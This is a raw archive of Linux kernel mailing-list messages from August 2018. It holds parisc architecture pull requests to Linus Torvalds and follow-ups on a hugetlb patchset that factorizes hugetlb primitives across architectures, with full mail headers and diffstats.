X-AntiAbuse: Primary Hostname - gator4166.hostgator.com
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - embeddedor.com
X-BWhitelist: no
X-Source-IP: 189.250.54.46
X-Source-L: No
X-Exim-ID: 1fnRHr-002d98-Tu
X-Source: 
X-Source-Args: 
X-Source-Dir: 
X-Source-Sender: ([192.168.1.71]) [189.250.54.46]:36784
X-Source-Auth: gustavo@embeddedor.com
X-Email-Count: 2
X-Source-Cap: Z3V6aWRpbmU7Z3V6aWRpbmU7Z2F0b3I0MTY2Lmhvc3RnYXRvci5jb20=
X-Local-Domain: yes
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:549412 gmane.linux.kernel:2842624 gmane.linux.ports.arm.kernel:668343 gmane.linux.ports.parisc:28895 gmane.linux.drivers.rdma:64038
Archived-At: <http://permalink.gmane.org/gmane.linux.network/549412>



On 8/7/18 7:59 PM, David Miller wrote:
> From: "Gustavo A. R. Silva" <gustavo@embeddedor.com>
> Date: Tue, 7 Aug 2018 18:09:00 -0500
> 
>> In preparation to enabling -Wimplicit-fallthrough, this patchset aims
>> to add some annotations in order to mark switch cases where we are
>> expecting to fall through.
> 
> Ok, I went through all of these and they look good.
> 
> If any are not correct we can revert/fix.
> 

Yep. If anything is reported, I'll take a look right away.

> Series applied, thanks.
> 

Thanks

From - Thu Nov 08 21:41:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc architecture fixes
Date: Wed, 8 Aug 2018 22:51:10 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <20180808205110.GA3398@ls3530>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1533761357 29515 195.159.176.226 (8 Aug 2018 20:49:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 8 Aug 2018 20:49:17 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Aug 08 22:49:12 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fnVOJ-0007Yv-UF
	for glk-linux-kernel-4@m.gmane.org; Wed, 08 Aug 2018 22:49:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1731323AbeHHXMm (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 8 Aug 2018 19:12:42 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:42113 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1730169AbeHHXMm (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 8 Aug 2018 19:12:42 -0400
Original-Received: from ls3530 ([80.187.96.219]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MhAVV-1fZwcS0aBN-00MLNX; Wed, 08
 Aug 2018 22:51:13 +0200
Content-Disposition: inline
X-Provags-ID: V03:K1:mz4CoIidVQgxl2ZhizFp6E/FwB0G03IJVNKIWJX6S2XCZmzfoyI
 rnNW3uIO7ucOg1SwtDkegfnXTdbbvFMG+Z3yO2yQSSDS/UtahpzOmsZ3Rs065RG07GB29QX
 mCqYOiiFJcrjnrSorxEIUu/ZB+5ITFeu3NqHzJbsLCHCrN60EXqQeB2ma1Mx5dwjh3k3V94
 BmtMERnan7BK4kz2J3OWQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:f4U9lsiei4M=:A9rqv2GgT3Om7L1aCfFdel
 3Yk0eAtK9aAPmDDoRCx8E4JIPi24J6kYFDNibis4KrIsNJrNUh/hr4zFoC7Sq21tgTvIro2Bp
 2xSK13MDplxPlEBQBP6RQtMeweVJ/wi0zyp/TPiKo3bTGvOTN8WAMUy/ryTNeyw6MVG8Op9b3
 o16lm9cXZwnV90KI/JZsNMSz9IZrSQleZYxfIL1nbWA2uFjLnWSwcdRFg1MYE+RYfKtO7ARM0
 15Y281N43T8C1hpI35FCYxVkqSWAZ/cmyEXJRzpWXcPixHp6EWSfXK8W0jSyAwGdm0QW78DDN
 SqSjILXZAP9WPq7YxYXMMksp3eSOEnUGSytt7nhyefb80RaGS82n/9rKN2/yCz5KC3r9wN0O/
 l7+AsWKD2OWtExdl4UbIc6+Gra4KQQShQUHJZOPbgv7HwTJy5/UcjtmelGKhD8fDa3/bvXUCS
 sgjARoPwcJ+e/MQxBn3B2qKSDxFZTFN4+RBgOcTsb1lPtKbpF3PYgYCgxxoG++8F4PWycVyYX
 c47lPQWb3zY1JnHTszEU6WG2ffPZ592OSpQE7q0XvDu3IBnroHLjhP8UxYShBJi+wdjbOETKt
 3vLjy/HqNu/8hcW1jOLzUi/PiD4607X5jBZ0xZHLEDDUPs0K8HwuFEEKwa3HIfShgIllMAkXK
 s4rf+fEr29bIvHkHICG3pTarfc6917VGa2ET3eQV6PLHoloRzWJ4jzXQmLfk6U3lDaGMkzjlw
 WPxH6F+aiWxQL5dGSAk2d97+D9Xl4GNEARzJNttp2LMvoPT8eu5OoibZ7co=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2842804 gmane.linux.ports.parisc:28896
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2842804>

Hi Linus,

would you please pull two important patches for the parisc architecture for kernel 4.18 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.18-2

The first patch is trivial and fixes the kernel build if someone chooses to
build the generic 64bit defconfig. Alex Ghiti ran into that issue when he tried
to build a 4.18 kernel with his hugetlb patches on parisc64.

The patch from Dave adds missing memory barriers to the assembler unlock
sequences. Our hope is, that this should help us to fix the issues we rarely
still see with spinlocks.

Both patches had been in the for-next branch for a few days without any
reported issues and are tagged to be backported to all kernels above v4.0.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (1):
      parisc: Enable CONFIG_MLONGCALLS by default

John David Anglin (1):
      parisc: Define mb() and add memory barriers to assembler unlock sequences

 arch/parisc/Kconfig               |  2 +-
 arch/parisc/include/asm/barrier.h | 32 ++++++++++++++++++++++++++++++++
 arch/parisc/kernel/entry.S        |  2 ++
 arch/parisc/kernel/pacache.S      |  1 +
 arch/parisc/kernel/syscall.S      |  4 ++++
 5 files changed, 40 insertions(+), 1 deletion(-)
 create mode 100644 arch/parisc/include/asm/barrier.h


From - Thu Nov 08 21:41:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc architecture updates for kernel v4.19
Date: Mon, 13 Aug 2018 19:13:19 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <20180813171319.GA16531@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1534180288 18477 195.159.176.226 (13 Aug 2018 17:11:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Aug 2018 17:11:28 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Aug 13 19:11:24 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fpGNH-0004ia-Nd
	for glk-linux-kernel-4@m.gmane.org; Mon, 13 Aug 2018 19:11:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1730255AbeHMT4h (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 13 Aug 2018 15:56:37 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:38961 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1729070AbeHMT4h (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 13 Aug 2018 15:56:37 -0400
Original-Received: from ls3530.fritz.box ([92.116.162.22]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MIzGn-1frBHe3usj-002Zkr; Mon, 13
 Aug 2018 19:13:24 +0200
Content-Disposition: inline
X-Provags-ID: V03:K1:6SLwahUSUulgy7kl6rKdIgBa5477TpF9AZ8xCpcVZeo2Bd5NydJ
 gfrZPim5S6oWi1/wGslyvEuYMvciHbTr60o5DcMXlP4wl0LhMKHjsLbeXCoLdu6flfxM0n1
 lVXfB+VskJ59+5Pv/vDQ0iYUd7y/qEr7Ouhuz8oKgdR4GfrKX25wWpBmndZXQL2Ctmt4Eq5
 Otdta1LBTUBqPe/dOpihw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Cn5srQvsU/U=:jRzj6Z8TJ+4cLlc4Mrhzy3
 oACwnfhAw11DAfcF1dW/tpLBlWRItTA80Hy8cqTMA2QIvcFoRw726NL5ZygXiFcmh/Vw9RKed
 4ZFH2SojAm++TAIMjqgmvDaDlfhsGu5jN5m6RSxktmOSKgnh8UDnG7pC89iXScfiywOTjT7lC
 NGmL6qPm22m+3Z4Wuf+FL8itK29vVM+v6eSVcd57/B9m19GJXhEURefKYf1AbHSqDNcqEszox
 YnoBrTtOpBAitav//PQvOrw7WyF4H2Cxiqk4ZiOMiDY987dJNi/iu4uy6Afg9WOjMEdNaJztD
 xx1OLISwQ9pzk62m34dQsP+7jK+aCudtqXz9BOTGb/OwwL3OipDB0H7Ur9KbISq33ryIvA17h
 LME69VyLbn8GjBPJHH6FHeJ2bAa4IDfbT3LIfDPuWJqCQBIBoSCxNTn/0GI7VXY9xRPkqZ4Ho
 Fnv8HfPhDu54PzuHd1mb2k3MrFQvofnwONkdCfVSYWcneYkgQhZrbp3Iarnh//AMon/qsLJ0W
 uWwuutA/wnlLjaMtciuozbbQHk5puoizobnuT+pcdaHNLnvlQVcikPZ0odDz2kJ7hkw8Tw84K
 rxE6jKWhlk1Oe8qqOaImUP2KdmLdvpFFNYx3fUxqIfk1lKrOXtCpF6RqUpb7yevq1683URKaX
 gyQru5PRNHI33fyeL4KdF8fp4cJV9ReAS27d9L6yFlgVOlFtUalmgvzngcUwf3F/zUtWGU5hB
 l7LkUZja6FsUS7pW2HmoAAMHzpa3Z+S4lRJNVctas3RfU98lNxbkXI8BaV4=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2845303 gmane.linux.ports.parisc:28897
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2845303>

Hi Linus,

please pull fixes and updates for the parisc architecture for kernel 4.19 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.19-1

Changes include:
- parisc now uses the generic dma_noncoherent_ops implementation, by Christoph Hellwig.
- further memory barrier and spinlock improvements, by John David Anglin.
- prepare removal of current_text_addr() functions, by Nick Desaulniers.
- improve kernel stack unwinding on parisc, by me.
- drop ENOTSUP which was defined on parisc only, by me.

Thanks,
Helge

----------------------------------------------------------------
Christoph Hellwig (3):
      parisc: merge pcx_dma_ops and pcxl_dma_ops
      parisc: always use flush_kernel_dcache_range for DMA cache maintainance
      parisc: use generic dma_noncoherent_ops

Helge Deller (3):
      parisc: Drop architecture-specific ENOTSUP define
      parisc: Add HAVE_REGS_AND_STACK_ACCESS_API feature
      parisc: Fix and improve kernel stack unwinding

John David Anglin (2):
      parisc: Remove ordered stores from syscall.S
      parisc: Remove unnecessary barriers from spinlock.h

Nick Desaulniers (1):
      parisc: prefer _THIS_IP_ and _RET_IP_ statement expressions

 arch/parisc/Kconfig                        |   5 +
 arch/parisc/include/asm/assembly.h         |   2 +
 arch/parisc/include/asm/dma-mapping.h      |   5 -
 arch/parisc/include/asm/linkage.h          |  17 ++-
 arch/parisc/include/asm/ptrace.h           |  11 ++
 arch/parisc/include/asm/spinlock.h         |   8 +-
 arch/parisc/include/asm/unwind.h           |   3 +
 arch/parisc/include/uapi/asm/errno.h       |   1 -
 arch/parisc/kernel/entry.S                 |  53 +++-----
 arch/parisc/kernel/pacache.S               | 125 ------------------
 arch/parisc/kernel/pci-dma.c               | 199 +++++------------------------
 arch/parisc/kernel/process.c               |   2 +-
 arch/parisc/kernel/ptrace.c                | 100 +++++++++++++++
 arch/parisc/kernel/real2.S                 |   6 -
 arch/parisc/kernel/setup.c                 |   8 +-
 arch/parisc/kernel/syscall.S               |  24 ++--
 arch/parisc/kernel/traps.c                 |   2 +-
 arch/parisc/kernel/unwind.c                |  93 ++++++++------
 arch/parisc/lib/lusercopy.S                |  21 ---
 arch/parisc/mm/init.c                      |  11 +-
 kernel/time/posix-timers.c                 |  13 +-
 tools/arch/parisc/include/uapi/asm/errno.h |   1 -
 22 files changed, 262 insertions(+), 448 deletions(-)


From - Thu Nov 08 21:41:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alex Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v6 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Mon, 13 Aug 2018 18:35:53 +0000
Lines: 81
Approved: news@gmane.org
Message-ID: <55833b7d-3c29-d7ac-41f1-82f1ac228e4a@ghiti.fr>
References: <20180806175711.24438-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1534185247 32270 195.159.176.226 (13 Aug 2018 18:34:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Aug 2018 18:34:07 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Aug 13 20:34:00 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fpHfD-0008CD-PX
	for glk-linux-kernel-4@m.gmane.org; Mon, 13 Aug 2018 20:34:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1730281AbeHMVTb (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 13 Aug 2018 17:19:31 -0400
Original-Received: from relay8-d.mail.gandi.net ([217.70.183.201]:36999 "EHLO
        relay8-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1729748AbeHMVTb (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 13 Aug 2018 17:19:31 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from [192.168.0.11] (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay8-d.mail.gandi.net (Postfix) with ESMTPSA id 00EE61BF204;
        Mon, 13 Aug 2018 18:35:54 +0000 (UTC)
In-Reply-To: <20180806175711.24438-1-alex@ghiti.fr>
Content-Language: fr
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2845336 gmane.linux.kernel.mm:201609 gmane.linux.ports.arm.kernel:668957 gmane.linux.ports.ia64:29084 gmane.linux.ports.mips.general:66040 gmane.linux.ports.parisc:28898 gmane.linux.ports.ppc64.devel:161267 gmane.linux.ports.sh.devel:57355 gmane.linux.ports.sparc:28200 gmane.linux.kernel.cross-arch:45694
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2845336>

Hi everyone,

Does someone need anything more to be done regarding this series ?

Thanks,

Alex


On 08/06/2018 05:57 PM, Alexandre Ghiti wrote:
> [CC linux-mm for inclusion in -mm tree]
>                                                                                   
> In order to reduce copy/paste of functions across architectures and then
> make riscv hugetlb port (and future ports) simpler and smaller, this
> patchset intends to factorize the numerous hugetlb primitives that are
> defined across all the architectures.
>                                                                                   
> Except for prepare_hugepage_range, this patchset moves the versions that
> are just pass-through to standard pte primitives into
> asm-generic/hugetlb.h by using the same #ifdef semantic that can be
> found in asm-generic/pgtable.h, i.e. __HAVE_ARCH_***.
>                                                                                   
> s390 architecture has not been tackled in this serie since it does not
> use asm-generic/hugetlb.h at all.
>                                                                                   
> This patchset has been compiled on all addressed architectures with
> success (except for parisc, but the problem does not come from this
> series).
>                                                                                   
> v6:
>    - Remove nohash/32 and book3s/32 powerpc specific implementations in
>      order to use the generic ones.
>    - Add all the Reviewed-by, Acked-by and Tested-by in the commits,
>      thanks to everyone.
>                                                                                   
> v5:
>    As suggested by Mike Kravetz, no need to move the #include
>    <asm-generic/hugetlb.h> for arm and x86 architectures, let it live at
>    the top of the file.
>                                                                                   
> v4:
>    Fix powerpc build error due to misplacing of #include
>    <asm-generic/hugetlb.h> outside of #ifdef CONFIG_HUGETLB_PAGE, as
>    pointed by Christophe Leroy.
>                                                                                   
> v1, v2, v3:
>    Same version, just problems with email provider and misuse of
>    --batch-size option of git send-email
>
> Alexandre Ghiti (11):
>    hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
>    hugetlb: Introduce generic version of hugetlb_free_pgd_range
>    hugetlb: Introduce generic version of set_huge_pte_at
>    hugetlb: Introduce generic version of huge_ptep_get_and_clear
>    hugetlb: Introduce generic version of huge_ptep_clear_flush
>    hugetlb: Introduce generic version of huge_pte_none
>    hugetlb: Introduce generic version of huge_pte_wrprotect
>    hugetlb: Introduce generic version of prepare_hugepage_range
>    hugetlb: Introduce generic version of huge_ptep_set_wrprotect
>    hugetlb: Introduce generic version of huge_ptep_set_access_flags
>    hugetlb: Introduce generic version of huge_ptep_get
>
>   arch/arm/include/asm/hugetlb-3level.h        | 32 +---------
>   arch/arm/include/asm/hugetlb.h               | 30 ----------
>   arch/arm64/include/asm/hugetlb.h             | 39 +++---------
>   arch/ia64/include/asm/hugetlb.h              | 47 ++-------------
>   arch/mips/include/asm/hugetlb.h              | 40 +++----------
>   arch/parisc/include/asm/hugetlb.h            | 33 +++--------
>   arch/powerpc/include/asm/book3s/32/pgtable.h |  6 --
>   arch/powerpc/include/asm/book3s/64/pgtable.h |  1 +
>   arch/powerpc/include/asm/hugetlb.h           | 43 ++------------
>   arch/powerpc/include/asm/nohash/32/pgtable.h |  6 --
>   arch/powerpc/include/asm/nohash/64/pgtable.h |  1 +
>   arch/sh/include/asm/hugetlb.h                | 54 ++---------------
>   arch/sparc/include/asm/hugetlb.h             | 40 +++----------
>   arch/x86/include/asm/hugetlb.h               | 69 ----------------------
>   include/asm-generic/hugetlb.h                | 88 +++++++++++++++++++++++++++-
>   15 files changed, 135 insertions(+), 394 deletions(-)
>



From - Thu Nov 08 21:41:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v6 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Mon, 20 Aug 2018 08:45:10 +0200
Lines: 85
Approved: news@gmane.org
Message-ID: <81078a7f-09cf-7f19-f6bb-8a1f4968d6fb@ghiti.fr>
References: <20180806175711.24438-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1534747485 22675 195.159.176.226 (20 Aug 2018 06:44:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 20 Aug 2018 06:44:45 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: linux-mm@kvack.org, Mike Kravetz <mike.kravetz@oracle.com>,
        linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
To: Michal Hocko <mhocko@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Aug 20 08:44:38 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1frdvV-0005dd-Pd
	for glk-linux-kernel-4@m.gmane.org; Mon, 20 Aug 2018 08:44:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726194AbeHTKA6 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 20 Aug 2018 06:00:58 -0400
Original-Received: from relay8-d.mail.gandi.net ([217.70.183.201]:59475 "EHLO
        relay8-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1725948AbeHTKA5 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 20 Aug 2018 06:00:57 -0400
X-Originating-IP: 81.250.144.103
Original-Received: from [10.30.1.20] (LNeuilly-657-1-5-103.w81-250.abo.wanadoo.fr [81.250.144.103])
        (Authenticated sender: alex@ghiti.fr)
        by relay8-d.mail.gandi.net (Postfix) with ESMTPSA id 2D8D61BF207;
        Mon, 20 Aug 2018 06:46:25 +0000 (UTC)
In-Reply-To: <20180806175711.24438-1-alex@ghiti.fr>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2849024 gmane.linux.kernel.mm:201815 gmane.linux.ports.arm.kernel:669481 gmane.linux.ports.ia64:29097 gmane.linux.ports.mips.general:66110 gmane.linux.ports.parisc:28899 gmane.linux.ports.ppc64.devel:161385 gmane.linux.ports.sh.devel:57386 gmane.linux.ports.sparc:28209 gmane.linux.kernel.cross-arch:45731
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2849024>

Hi Michal,

This patchset got acked, tested and reviewed by quite a few people, and 
it has been suggested
that it should be included in -mm tree: could you tell me if something 
else needs to be done for
its inclusion ?

Thanks for your time,

Alex


On 08/06/2018 07:57 PM, Alexandre Ghiti wrote:
> [CC linux-mm for inclusion in -mm tree]
>                                                                                   
> In order to reduce copy/paste of functions across architectures and then
> make riscv hugetlb port (and future ports) simpler and smaller, this
> patchset intends to factorize the numerous hugetlb primitives that are
> defined across all the architectures.
>                                                                                   
> Except for prepare_hugepage_range, this patchset moves the versions that
> are just pass-through to standard pte primitives into
> asm-generic/hugetlb.h by using the same #ifdef semantic that can be
> found in asm-generic/pgtable.h, i.e. __HAVE_ARCH_***.
>                                                                                   
> s390 architecture has not been tackled in this serie since it does not
> use asm-generic/hugetlb.h at all.
>                                                                                   
> This patchset has been compiled on all addressed architectures with
> success (except for parisc, but the problem does not come from this
> series).
>                                                                                   
> v6:
>    - Remove nohash/32 and book3s/32 powerpc specific implementations in
>      order to use the generic ones.
>    - Add all the Reviewed-by, Acked-by and Tested-by in the commits,
>      thanks to everyone.
>                                                                                   
> v5:
>    As suggested by Mike Kravetz, no need to move the #include
>    <asm-generic/hugetlb.h> for arm and x86 architectures, let it live at
>    the top of the file.
>                                                                                   
> v4:
>    Fix powerpc build error due to misplacing of #include
>    <asm-generic/hugetlb.h> outside of #ifdef CONFIG_HUGETLB_PAGE, as
>    pointed by Christophe Leroy.
>                                                                                   
> v1, v2, v3:
>    Same version, just problems with email provider and misuse of
>    --batch-size option of git send-email
>
> Alexandre Ghiti (11):
>    hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
>    hugetlb: Introduce generic version of hugetlb_free_pgd_range
>    hugetlb: Introduce generic version of set_huge_pte_at
>    hugetlb: Introduce generic version of huge_ptep_get_and_clear
>    hugetlb: Introduce generic version of huge_ptep_clear_flush
>    hugetlb: Introduce generic version of huge_pte_none
>    hugetlb: Introduce generic version of huge_pte_wrprotect
>    hugetlb: Introduce generic version of prepare_hugepage_range
>    hugetlb: Introduce generic version of huge_ptep_set_wrprotect
>    hugetlb: Introduce generic version of huge_ptep_set_access_flags
>    hugetlb: Introduce generic version of huge_ptep_get
>
>   arch/arm/include/asm/hugetlb-3level.h        | 32 +---------
>   arch/arm/include/asm/hugetlb.h               | 30 ----------
>   arch/arm64/include/asm/hugetlb.h             | 39 +++---------
>   arch/ia64/include/asm/hugetlb.h              | 47 ++-------------
>   arch/mips/include/asm/hugetlb.h              | 40 +++----------
>   arch/parisc/include/asm/hugetlb.h            | 33 +++--------
>   arch/powerpc/include/asm/book3s/32/pgtable.h |  6 --
>   arch/powerpc/include/asm/book3s/64/pgtable.h |  1 +
>   arch/powerpc/include/asm/hugetlb.h           | 43 ++------------
>   arch/powerpc/include/asm/nohash/32/pgtable.h |  6 --
>   arch/powerpc/include/asm/nohash/64/pgtable.h |  1 +
>   arch/sh/include/asm/hugetlb.h                | 54 ++---------------
>   arch/sparc/include/asm/hugetlb.h             | 40 +++----------
>   arch/x86/include/asm/hugetlb.h               | 69 ----------------------
>   include/asm-generic/hugetlb.h                | 88 +++++++++++++++++++++++++++-
>   15 files changed, 135 insertions(+), 394 deletions(-)
>



From - Thu Nov 08 21:41:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michal Hocko <mhocko@kernel.org>
